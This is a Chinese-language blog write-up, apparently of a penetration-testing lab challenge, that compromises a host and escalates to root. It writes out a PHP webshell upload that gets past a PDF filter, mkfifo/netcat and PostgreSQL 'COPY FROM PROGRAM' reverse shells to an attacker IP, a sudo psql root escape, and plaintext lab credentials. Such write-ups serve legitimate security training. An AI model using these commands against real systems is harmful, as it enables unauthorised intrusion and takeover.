Challenge 3 - SkyLark(2)

Challenge 3 - SkyLark(2)

- 11月 26, 2023

Challenge 3 - SkyLark(2)

下一台目標選定 .225

Rustscan，└─$ rustscan -a 192.168.211.225 --scripts none --ulimit 5000 | tee rustscan

只有 3 個 Port，21、80、8090

snmp check

nmap

whatweb

80 /

80 /robots.txt

gobuster 沒有東西

8090 /

8090 /robots.txt

gobuster 8090

gobuster 8090/backend

gobuster 8090/backend/default

http://192.168.211.225:8090/backend/default/index.php 有個登入頁面

admin:admin 既然可以登入.......看來可以上傳檔案

上傳 test.txt 告知只能上傳 pdf 檔案

改副檔名 test.pdf 上傳一樣失敗，看來會檢查檔案的格式

真實上傳一個 PDF 的檔案格式，看來就能正常上傳了

也可以在 http://192.168.196.225:8090/backend/default/uploads/test.pdf 正常讀取到檔案

修改 webshell 註記是 PDF 檔案格式，於檔案表頭加入 %PDF-1.7

上傳 webshell.php 測試發現成功，也可以正常開啟

http://192.168.196.225:8090/backend/default/uploads/webshell.php

執行 whoami 可以正常執行

使用最好用的 rm 指令，rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.167 4444 >/tmp/f 直接拿到 Reverse Shell 了

先拿取第一階段的 flag

在路徑 /var/www/backend/default 下有一個 config.php 檔案裡面有資料路連接的憑證

postgres:EAZT5EMULA75F8MC

cat /etc/passwd 有兩個使用者帳號 uploader、ftpuploader

cat /etc/crontab

5432 Port 標準的 PostgreSQL

搭建 chisel，./chisel client 192.168.45.167:8080 R:5432:localhost:5432

啟動 DB 連線工具 dbeaver，測試帳號密碼 postgres:EAZT5EMULA75F8MC 連線成功

啟動後執行 SQL Command "SELECT pg_ls_dir('/');" 如下圖看來可以透過

SQL Command 列舉目錄沒有問題

相關的命令參考 : https://medium.com/@netscylla/postgres-hacking-part-2-code-execution-687d24ad2082

依據介紹的枚舉，建立一個 table 然後用來存放檔案資訊再列舉

建立 TABLE

COPY /etc/passwd

查詢 root 看來沒有問題

改直接去讀取 /root/proof.txt 看看權限如何

CREATE TABLE temp2(t TEXT);

COPY temp FROM '/root/proof.txt';

SELECT * FROM temp2 limit 2 offset 0;

執行第二步的時候失敗，權限不夠

接下來將 TABLE 塞入 cmd 然後執行看看

CREATE TABLE temp3(cmd_output TEXT); COPY temp3 FROM PROGRAM '/tmp/nc -e /bin/bash 192.168.45.167 4447';

4447 進來了，whoami & id 確認現在的權限變成 postgres

sudo -l 發現可以用 sudo 執行 psql 所有東西

參考 GTFO 如下

直接用 sudo 執行 /usr/bin/psql 到本機的 postgreSQL，然後輸入原有的密碼

sudo /usr/bin/psql -h 127.0.0.1 -p 5432 -U postgres

依序輸入 \? & !/bin/sh 成功 root

PS : 有另外測試直接輸入 \! /bin/sh 即可成功 root

更新攻擊列表

繼續在 .225 枚舉發現，原本 /uploads 路徑下有個 user-guide-rdweb.pdf 檔案

內容告訴你有個 /RDWeb 網頁可以讓你用 Web 版的 RDP

帳號 : SKYLARK\kiosk

密碼 : XEwUS^9R2Gwt8O914

看來我們獲得了第一個 SKYLARK 網域的使用者帳號密碼

更新帳號密碼表

留言